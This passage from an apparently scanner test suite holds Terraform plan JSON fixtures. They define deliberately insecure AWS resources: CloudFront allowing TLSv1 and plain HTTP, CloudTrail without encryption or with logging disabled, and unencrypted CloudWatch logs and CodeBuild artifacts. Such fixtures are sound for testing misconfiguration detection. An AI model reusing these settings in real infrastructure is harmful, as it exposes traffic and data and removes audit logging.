\"TLSv1\",\n                \"ssl_support_method\": null\n              }\n            ],\n            \"wait_for_deployment\": true,\n            \"web_acl_id\": null\n          },\n          \"sensitive_values\": {\n            \"custom_error_response\": [],\n            \"default_cache_behavior\": [\n              {\n                \"allowed_methods\": [\n                  false\n                ],\n                \"cached_methods\": [\n                  false\n                ],\n                \"forwarded_values\": [],\n                \"function_association\": [],\n                \"lambda_function_association\": [],\n                \"trusted_key_groups\": [],\n                \"trusted_signers\": []\n              }\n            ],\n            \"logging_config\": [],\n            \"ordered_cache_behavior\": [],\n            \"origin\": [\n              {\n                \"custom_header\": [],\n                \"custom_origin_config\": [],\n                \"origin_shield\": [],\n                \"s3_origin_config\": []\n              }\n            ],\n            \"origin_group\": [],\n            \"restrictions\": [\n              {\n                \"geo_restriction\": [\n                  {\n                    \"locations\": []\n                  }\n                ]\n              }\n            ],\n            \"tags_all\": {},\n            \"trusted_key_groups\": [],\n            \"trusted_signers\": [],\n            \"viewer_certificate\": [\n              {}\n            ]\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_cloudfront_distribution.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_cloudfront_distribution\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"aliases\": null,\n          \"comment\": null,\n          \"custom_error_response\": [],\n          \"default_cache_behavior\": [\n            {\n              \"allowed_methods\": [\n                \"dummy\"\n              ],\n              \"cache_policy_id\": null,\n              \"cached_methods\": [\n                \"dummy\"\n              ],\n              \"compress\": false,\n              \"field_level_encryption_id\": null,\n              \"forwarded_values\": [],\n              \"function_association\": [],\n              \"lambda_function_association\": [],\n              \"min_ttl\": 0,\n              \"origin_request_policy_id\": null,\n              \"realtime_log_config_arn\": null,\n              \"response_headers_policy_id\": null,\n              \"smooth_streaming\": null,\n              \"target_origin_id\": \"dummy\",\n              \"viewer_protocol_policy\": \"allow-all\"\n            }\n          ],\n          \"default_root_object\": null,\n          \"enabled\": true,\n          \"http_version\": \"http2\",\n          \"is_ipv6_enabled\": false,\n          \"logging_config\": [],\n          \"ordered_cache_behavior\": [],\n          \"origin\": [\n            {\n              \"connection_attempts\": 3,\n              \"connection_timeout\": 10,\n              \"custom_header\": [],\n              \"custom_origin_config\": [],\n              \"domain_name\": \"dummy\",\n              \"origin_access_control_id\": \"\",\n              \"origin_id\": \"dummy\",\n              \"origin_path\": \"\",\n              \"origin_shield\": [],\n              \"s3_origin_config\": []\n            }\n          ],\n          \"origin_group\": [],\n          \"price_class\": \"PriceClass_All\",\n          \"restrictions\": [\n            {\n              \"geo_restriction\": [\n                {\n                  \"restriction_type\": \"none\"\n                }\n              ]\n            }\n          ],\n          \"retain_on_delete\": false,\n          \"tags\": null,\n          \"viewer_certificate\": [\n            {\n              \"acm_certificate_arn\": null,\n              \"cloudfront_default_certificate\": null,\n              \"iam_certificate_id\": null,\n              \"minimum_protocol_version\": \"TLSv1\",\n              \"ssl_support_method\": null\n            }\n          ],\n          \"wait_for_deployment\": true,\n          \"web_acl_id\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"caller_reference\": true,\n          \"custom_error_response\": [],\n          \"default_cache_behavior\": [\n            {\n              \"allowed_methods\": [\n                false\n              ],\n              \"cached_methods\": [\n                false\n              ],\n              \"default_ttl\": true,\n              \"forwarded_values\": [],\n              \"function_association\": [],\n              \"lambda_function_association\": [],\n              \"max_ttl\": true,\n              \"trusted_key_groups\": true,\n              \"trusted_signers\": true\n            }\n          ],\n          \"domain_name\": true,\n          \"etag\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"in_progress_validation_batches\": true,\n          \"last_modified_time\": true,\n          \"logging_config\": [],\n          \"ordered_cache_behavior\": [],\n          \"origin\": [\n            {\n              \"custom_header\": [],\n              \"custom_origin_config\": [],\n              \"origin_shield\": [],\n              \"s3_origin_config\": []\n            }\n          ],\n          \"origin_group\": [],\n          \"restrictions\": [\n            {\n              \"geo_restriction\": [\n                {\n                  \"locations\": true\n                }\n              ]\n            }\n          ],\n          \"status\": true,\n          \"tags_all\": true,\n          \"trusted_key_groups\": true,\n          \"trusted_signers\": true,\n          \"viewer_certificate\": [\n            {}\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"custom_error_response\": [],\n          \"default_cache_behavior\": [\n            {\n              \"allowed_methods\": [\n                false\n              ],\n              \"cached_methods\": [\n                false\n              ],\n              \"forwarded_values\": [],\n              \"function_association\": [],\n              \"lambda_function_association\": [],\n              \"trusted_key_groups\": [],\n              \"trusted_signers\": []\n            }\n          ],\n          \"logging_config\": [],\n          \"ordered_cache_behavior\": [],\n          \"origin\": [\n            {\n              \"custom_header\": [],\n              \"custom_origin_config\": [],\n              \"origin_shield\": [],\n              \"s3_origin_config\": []\n            }\n          ],\n          \"origin_group\": [],\n          \"restrictions\": [\n            {\n              \"geo_restriction\": [\n                {\n                  \"locations\": []\n                }\n              ]\n            }\n          ],\n          \"tags_all\": {},\n          \"trusted_key_groups\": [],\n          \"trusted_signers\": [],\n          \"viewer_certificate\": [\n            {}\n          ]\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudfront_distribution.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudfront_distribution\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"default_cache_behavior\": [\n              {\n                \"allowed_methods\": {\n                  \"constant_value\": [\n                    \"dummy\"\n                  ]\n                },\n                \"cached_methods\": {\n                  \"constant_value\": [\n                    \"dummy\"\n                  ]\n                },\n                \"target_origin_id\": {\n                  \"constant_value\": \"dummy\"\n                },\n                \"viewer_protocol_policy\": {\n                  \"constant_value\": \"allow-all\"\n                }\n              }\n            ],\n            \"enabled\": {\n              \"constant_value\": true\n            },\n            \"origin\": [\n              {\n                \"domain_name\": {\n                  \"constant_value\": \"dummy\"\n                },\n                \"origin_id\": {\n                  \"constant_value\": \"dummy\"\n                }\n              }\n            ],\n            \"restrictions\": [\n              {\n                \"geo_restriction\": [\n                  {\n                    \"restriction_type\": {\n                      \"constant_value\": \"none\"\n                    }\n                  }\n                ]\n              }\n            ],\n            \"viewer_certificate\": [\n              {}\n            ]\n          },\n          \"schema_version\": 1\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_cloudfront_tls_version.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudfront_distribution.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudfront_distribution\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"aliases\": null,\n            \"comment\": null,\n            \"custom_error_response\": [],\n            \"default_cache_behavior\": [\n              {\n                \"allowed_methods\": [\n                  \"dummy\"\n                ],\n                \"cache_policy_id\": null,\n                \"cached_methods\": [\n                  \"dummy\"\n                ],\n                \"compress\": false,\n                \"field_level_encryption_id\": null,\n                \"forwarded_values\": [],\n                \"function_association\": [],\n                \"lambda_function_association\": [],\n                \"min_ttl\": 0,\n                \"origin_request_policy_id\": null,\n                \"realtime_log_config_arn\": null,\n                \"response_headers_policy_id\": null,\n                \"smooth_streaming\": null,\n                \"target_origin_id\": \"dummy\",\n                \"viewer_protocol_policy\": \"https-only\"\n              }\n            ],\n            \"default_root_object\": null,\n            \"enabled\": true,\n            \"http_version\": \"http2\",\n            \"is_ipv6_enabled\": false,\n            \"logging_config\": [],\n            \"ordered_cache_behavior\": [],\n            \"origin\": [\n              {\n                \"connection_attempts\": 3,\n                \"connection_timeout\": 10,\n                \"custom_header\": [],\n                \"custom_origin_config\": [],\n                \"domain_name\": \"dummy\",\n                \"origin_access_control_id\": \"\",\n                \"origin_id\": \"dummy\",\n                \"origin_path\": \"\",\n                \"origin_shield\": [],\n                \"s3_origin_config\": []\n              }\n            ],\n            \"origin_group\": [],\n            \"price_class\": \"PriceClass_All\",\n            \"restrictions\": [\n              {\n                \"geo_restriction\": [\n                  {\n                    \"restriction_type\": \"none\"\n                  }\n                ]\n              }\n            ],\n            \"retain_on_delete\": false,\n            \"tags\": null,\n            \"viewer_certificate\": [\n              {\n                \"acm_certificate_arn\": null,\n                \"cloudfront_default_certificate\": null,\n                \"iam_certificate_id\": null,\n                \"minimum_protocol_version\": \"TLSv1\",\n                \"ssl_support_method\": null\n              }\n            ],\n            \"wait_for_deployment\": true,\n            \"web_acl_id\": null\n          },\n          \"sensitive_values\": {\n            \"custom_error_response\": [],\n            \"default_cache_behavior\": [\n              {\n                \"allowed_methods\": [\n                  false\n                ],\n                \"cached_methods\": [\n                  false\n                ],\n                \"forwarded_values\": [],\n                \"function_association\": [],\n                \"lambda_function_association\": [],\n                \"trusted_key_groups\": [],\n                \"trusted_signers\": []\n              }\n            ],\n            \"logging_config\": [],\n            \"ordered_cache_behavior\": [],\n            \"origin\": [\n              {\n                \"custom_header\": [],\n                \"custom_origin_config\": [],\n                \"origin_shield\": [],\n                \"s3_origin_config\": []\n              }\n            ],\n            \"origin_group\": [],\n            \"restrictions\": [\n              {\n                \"geo_restriction\": [\n                  {\n                    \"locations\": []\n                  }\n                ]\n              }\n            ],\n            \"tags_all\": {},\n            \"trusted_key_groups\": [],\n            \"trusted_signers\": [],\n            \"viewer_certificate\": [\n              {}\n            ]\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_cloudfront_distribution.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_cloudfront_distribution\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"aliases\": null,\n          \"comment\": null,\n          \"custom_error_response\": [],\n          \"default_cache_behavior\": [\n            {\n              \"allowed_methods\": [\n                \"dummy\"\n              ],\n              \"cache_policy_id\": null,\n              \"cached_methods\": [\n                \"dummy\"\n              ],\n              \"compress\": false,\n              \"field_level_encryption_id\": null,\n              \"forwarded_values\": [],\n              \"function_association\": [],\n              \"lambda_function_association\": [],\n              \"min_ttl\": 0,\n              \"origin_request_policy_id\": null,\n              \"realtime_log_config_arn\": null,\n              \"response_headers_policy_id\": null,\n              \"smooth_streaming\": null,\n              \"target_origin_id\": \"dummy\",\n              \"viewer_protocol_policy\": \"https-only\"\n            }\n          ],\n          \"default_root_object\": null,\n          \"enabled\": true,\n          \"http_version\": \"http2\",\n          \"is_ipv6_enabled\": false,\n          \"logging_config\": [],\n          \"ordered_cache_behavior\": [],\n          \"origin\": [\n            {\n              \"connection_attempts\": 3,\n              \"connection_timeout\": 10,\n              \"custom_header\": [],\n              \"custom_origin_config\": [],\n              \"domain_name\": \"dummy\",\n              \"origin_access_control_id\": \"\",\n              \"origin_id\": \"dummy\",\n              \"origin_path\": \"\",\n              \"origin_shield\": [],\n              \"s3_origin_config\": []\n            }\n          ],\n          \"origin_group\": [],\n          \"price_class\": \"PriceClass_All\",\n          \"restrictions\": [\n            {\n              \"geo_restriction\": [\n                {\n                  \"restriction_type\": \"none\"\n                }\n              ]\n            }\n          ],\n          \"retain_on_delete\": false,\n          \"tags\": null,\n          \"viewer_certificate\": [\n            {\n              \"acm_certificate_arn\": null,\n              \"cloudfront_default_certificate\": null,\n              \"iam_certificate_id\": null,\n              \"minimum_protocol_version\": \"TLSv1\",\n              \"ssl_support_method\": null\n            }\n          ],\n          \"wait_for_deployment\": true,\n          \"web_acl_id\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"caller_reference\": true,\n          \"custom_error_response\": [],\n          \"default_cache_behavior\": [\n            {\n              \"allowed_methods\": [\n                false\n              ],\n              \"cached_methods\": [\n                false\n              ],\n              \"default_ttl\": true,\n              \"forwarded_values\": [],\n              \"function_association\": [],\n              \"lambda_function_association\": [],\n              \"max_ttl\": true,\n              \"trusted_key_groups\": true,\n              \"trusted_signers\": true\n            }\n          ],\n          \"domain_name\": true,\n          \"etag\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"in_progress_validation_batches\": true,\n          \"last_modified_time\": true,\n          \"logging_config\": [],\n          \"ordered_cache_behavior\": [],\n          \"origin\": [\n            {\n              \"custom_header\": [],\n              \"custom_origin_config\": [],\n              \"origin_shield\": [],\n              \"s3_origin_config\": []\n            }\n          ],\n          \"origin_group\": [],\n          \"restrictions\": [\n            {\n              \"geo_restriction\": [\n                {\n                  \"locations\": true\n                }\n              ]\n            }\n          ],\n          \"status\": true,\n          \"tags_all\": true,\n          \"trusted_key_groups\": true,\n          \"trusted_signers\": true,\n          \"viewer_certificate\": [\n            {}\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"custom_error_response\": [],\n          \"default_cache_behavior\": [\n            {\n              \"allowed_methods\": [\n                false\n              ],\n              \"cached_methods\": [\n                false\n              ],\n              \"forwarded_values\": [],\n              \"function_association\": [],\n              \"lambda_function_association\": [],\n              \"trusted_key_groups\": [],\n              \"trusted_signers\": []\n            }\n          ],\n          \"logging_config\": [],\n          \"ordered_cache_behavior\": [],\n          \"origin\": [\n            {\n              \"custom_header\": [],\n              \"custom_origin_config\": [],\n              \"origin_shield\": [],\n              \"s3_origin_config\": []\n            }\n          ],\n          \"origin_group\": [],\n          \"restrictions\": [\n            {\n              \"geo_restriction\": [\n                {\n                  \"locations\": []\n                }\n              ]\n            }\n          ],\n          \"tags_all\": {},\n          \"trusted_key_groups\": [],\n          \"trusted_signers\": [],\n          \"viewer_certificate\": [\n            {}\n          ]\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudfront_distribution.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudfront_distribution\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"default_cache_behavior\": [\n              {\n                \"allowed_methods\": {\n                  \"constant_value\": [\n                    \"dummy\"\n                  ]\n                },\n                \"cached_methods\": {\n                  \"constant_value\": [\n                    \"dummy\"\n                  ]\n                },\n                \"target_origin_id\": {\n                  \"constant_value\": \"dummy\"\n                },\n                \"viewer_protocol_policy\": {\n                  \"constant_value\": \"https-only\"\n                }\n              }\n            ],\n            \"enabled\": {\n              \"constant_value\": true\n            },\n            \"origin\": [\n              {\n                \"domain_name\": {\n                  \"constant_value\": \"dummy\"\n                },\n                \"origin_id\": {\n                  \"constant_value\": \"dummy\"\n                }\n              }\n            ],\n            \"restrictions\": [\n              {\n                \"geo_restriction\": [\n                  {\n                    \"restriction_type\": {\n                      \"constant_value\": \"none\"\n                    }\n                  }\n                ]\n              }\n            ],\n            \"viewer_certificate\": [\n              {\n                \"minimum_protocol_version\": {\n                  \"constant_value\": \"TLSv1\"\n                }\n              }\n            ]\n          },\n          \"schema_version\": 1\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_cloudtrail_encrypt.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudtrail.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudtrail\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"advanced_event_selector\": [],\n            \"cloud_watch_logs_group_arn\": null,\n            \"cloud_watch_logs_role_arn\": null,\n            \"enable_log_file_validation\": false,\n            \"enable_logging\": true,\n            \"event_selector\": [],\n            \"include_global_service_events\": true,\n            \"insight_selector\": [],\n            \"is_multi_region_trail\": false,\n            \"is_organization_trail\": false,\n            \"kms_key_id\": null,\n            \"name\": \"dummy\",\n            \"s3_bucket_name\": \"dummy\",\n            \"s3_key_prefix\": null,\n            \"sns_topic_name\": null,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"advanced_event_selector\": [],\n            \"event_selector\": [],\n            \"insight_selector\": [],\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_cloudtrail.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_cloudtrail\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"advanced_event_selector\": [],\n          \"cloud_watch_logs_group_arn\": null,\n          \"cloud_watch_logs_role_arn\": null,\n          \"enable_log_file_validation\": false,\n          \"enable_logging\": true,\n          \"event_selector\": [],\n          \"include_global_service_events\": true,\n          \"insight_selector\": [],\n          \"is_multi_region_trail\": false,\n          \"is_organization_trail\": false,\n          \"kms_key_id\": null,\n          \"name\": \"dummy\",\n          \"s3_bucket_name\": \"dummy\",\n          \"s3_key_prefix\": null,\n          \"sns_topic_name\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"advanced_event_selector\": [],\n          \"arn\": true,\n          \"event_selector\": [],\n          \"home_region\": true,\n          \"id\": true,\n          \"insight_selector\": [],\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"advanced_event_selector\": [],\n          \"event_selector\": [],\n          \"insight_selector\": [],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudtrail.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudtrail\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"dummy\"\n            },\n            \"s3_bucket_name\": {\n              \"constant_value\": \"dummy\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_cloudtrail_logging.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudtrail.foobar\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudtrail\",\n          \"name\": \"foobar\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"advanced_event_selector\": [],\n            \"cloud_watch_logs_group_arn\": null,\n            \"cloud_watch_logs_role_arn\": null,\n            \"enable_log_file_validation\": false,\n            \"enable_logging\": false,\n            \"event_selector\": [],\n            \"include_global_service_events\": false,\n            \"insight_selector\": [],\n            \"is_multi_region_trail\": false,\n            \"is_organization_trail\": false,\n            \"kms_key_id\": null,\n            \"name\": \"dummy\",\n            \"s3_bucket_name\": \"dummy\",\n            \"s3_key_prefix\": \"prefix\",\n            \"sns_topic_name\": null,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"advanced_event_selector\": [],\n            \"event_selector\": [],\n            \"insight_selector\": [],\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_cloudtrail.foobar\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_cloudtrail\",\n      \"name\": \"foobar\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"advanced_event_selector\": [],\n          \"cloud_watch_logs_group_arn\": null,\n          \"cloud_watch_logs_role_arn\": null,\n          \"enable_log_file_validation\": false,\n          \"enable_logging\": false,\n          \"event_selector\": [],\n          \"include_global_service_events\": false,\n          \"insight_selector\": [],\n          \"is_multi_region_trail\": false,\n          \"is_organization_trail\": false,\n          \"kms_key_id\": null,\n          \"name\": \"dummy\",\n          \"s3_bucket_name\": \"dummy\",\n          \"s3_key_prefix\": \"prefix\",\n          \"sns_topic_name\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"advanced_event_selector\": [],\n          \"arn\": true,\n          \"event_selector\": [],\n          \"home_region\": true,\n          \"id\": true,\n          \"insight_selector\": [],\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"advanced_event_selector\": [],\n          \"event_selector\": [],\n          \"insight_selector\": [],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudtrail.foobar\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudtrail\",\n          \"name\": \"foobar\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"enable_logging\": {\n              \"constant_value\": false\n            },\n            \"include_global_service_events\": {\n              \"constant_value\": false\n            },\n            \"name\": {\n              \"constant_value\": \"dummy\"\n            },\n            \"s3_bucket_name\": {\n              \"constant_value\": \"dummy\"\n            },\n            \"s3_key_prefix\": {\n              \"constant_value\": \"prefix\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_cloudwatch_log_encrypt.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudwatch_log_group.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudwatch_log_group\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"kms_key_id\": null,\n            \"retention_in_days\": 0,\n            \"skip_destroy\": false,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_cloudwatch_log_group.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_cloudwatch_log_group\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"kms_key_id\": null,\n          \"retention_in_days\": 0,\n          \"skip_destroy\": false,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name\": true,\n          \"name_prefix\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudwatch_log_group.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudwatch_log_group\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_codebuild_encrypt.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_codebuild_project.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_codebuild_project\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"artifacts\": [\n              {\n                \"artifact_identifier\": null,\n                \"bucket_owner_access\": null,\n                \"encryption_disabled\": true,\n                \"location\": null,\n                \"name\": null,\n                \"namespace_type\": null,\n                \"override_artifact_name\": false,\n                \"packaging\": null,\n                \"path\": null,\n                \"type\": \"NO_ARTIFACTS\"\n              }\n            ],\n            \"badge_enabled\": false,\n            \"build_batch_config\": [],\n            \"build_timeout\": 60,\n            \"cache\": [],\n            \"concurrent_build_limit\": null,\n            \"environment\": [\n              {\n                \"certificate\": null,\n                \"compute_type\": \"BUILD_GENERAL1_SMALL\",\n                \"environment_variable\": [],\n                \"image\": \"dummy\",\n                \"image_pull_credentials_type\": \"CODEBUILD\",\n                \"privileged_mode\": false,\n                \"registry_credential\": [],\n                \"type\": \"LINUX_CONTAINER\"\n              }\n            ],\n            \"file_system_locations\": [],\n            \"logs_config\": [],\n            \"name\": \"dummy\",\n            \"project_visibility\": \"PRIVATE\",\n            \"queued_timeout\": 480,\n            \"resource_access_role\": null,\n            \"secondary_artifacts\": [],\n            \"secondary_source_version\": [],\n            \"secondary_sources\": [],\n            \"service_role\": \"arn:aws:iam::123456789012:user/johndoe\",\n            \"source\": [\n              {\n                \"auth\": [],\n                \"build_status_config\": [],\n                \"buildspec\": null,\n                \"git_clone_depth\": null,\n                \"git_submodules_config\": [],\n                \"insecure_ssl\": null,\n                \"location\": null,\n                \"report_build_status\": null,\n                \"type\": \"GITHUB\"\n              }\n            ],\n            \"source_version\": null,\n            \"tags\": null,\n            \"vpc_config\": []\n          },\n          \"sensitive_values\": {\n            \"artifacts\": [\n              {}\n            ],\n            \"build_batch_config\": [],\n            \"cache\": [],\n            \"environment\": [\n              {\n                \"environment_variable\": [],\n                \"registry_credential\": []\n              }\n            ],\n            \"file_system_locations\": [],\n            \"logs_config\": [],\n            \"secondary_artifacts\": [],\n            \"secondary_source_version\": [],\n            \"secondary_sources\": [],\n            \"source\": [\n              {\n                \"auth\": [],\n                \"build_status_config\": [],\n                \"git_submodules_config\": []\n              }\n            ],\n            \"tags_all\": {},\n            \"vpc_config\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_codebuild_project.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_codebuild_project\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"artifacts\": [\n            {\n              \"artifact_identifier\": null,\n              \"bucket_owner_access\": null,\n              \"encryption_disabled\": true,\n              \"location\": null,\n              \"name\": null,\n              \"namespace_type\": null,\n              \"override_artifact_name\": false,\n              \"packaging\": null,\n              \"path\": null,\n              \"type\": \"NO_ARTIFACTS\"\n            }\n          ],\n          \"badge_enabled\": false,\n          \"build_batch_config\": [],\n          \"build_timeout\": 60,\n          \"cache\": [],\n          \"concurrent_build_limit\": null,\n          \"environment\": [\n            {\n              \"certificate\": null,\n              \"compute_type\": \"BUILD_GENERAL1_SMALL\",\n              \"environment_variable\": [],\n              \"image\": \"dummy\",\n              \"image_pull_credentials_type\": \"CODEBUILD\",\n              \"privileged_mode\": false,\n              \"registry_credential\": [],\n              \"type\": \"LINUX_CONTAINER\"\n            }\n          ],\n          \"file_system_locations\": [],\n          \"logs_config\": [],\n          \"name\": \"dummy\",\n          \"project_visibility\": \"PRIVATE\",\n          \"queued_timeout\": 480,\n          \"resource_access_role\": null,\n          \"secondary_artifacts\": [],\n          \"secondary_source_version\": [],\n          \"secondary_sources\": [],\n          \"service_role\": \"arn:aws:iam::123456789012:user/johndoe\",\n          \"source\": [\n            {\n              \"auth\": [],\n              \"build_status_config\": [],\n              \"buildspec\": null,\n              \"git_clone_depth\": null,\n              \"git_submodules_config\": [],\n              \"insecure_ssl\": null,\n              \"location\": null,\n              \"report_build_status\": null,\n              \"type\": \"GITHUB\"\n            }\n          ],\n          \"source_version\": null,\n          \"tags\": null,\n          \"vpc_config\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"artifacts\": [\n            {}\n          ],\n          \"badge_url\": true,\n          \"build_batch_config\": [],\n          \"cache\": [],\n          \"description\": true,\n          \"encryption_key\": true,\n          \"environment\": [\n            {\n              \"environment_variable\": [],\n              \"registry_credential\": []\n            }\n          ],\n          \"file_system_locations\": [],\n          \"id\": true,\n          \"logs_config\": [],\n          \"public_project_alias\": true,\n          \"secondary_artifacts\": [],\n          \"secondary_source_version\": [],\n          \"secondary_sources\": [],\n          \"source\": [\n            {\n              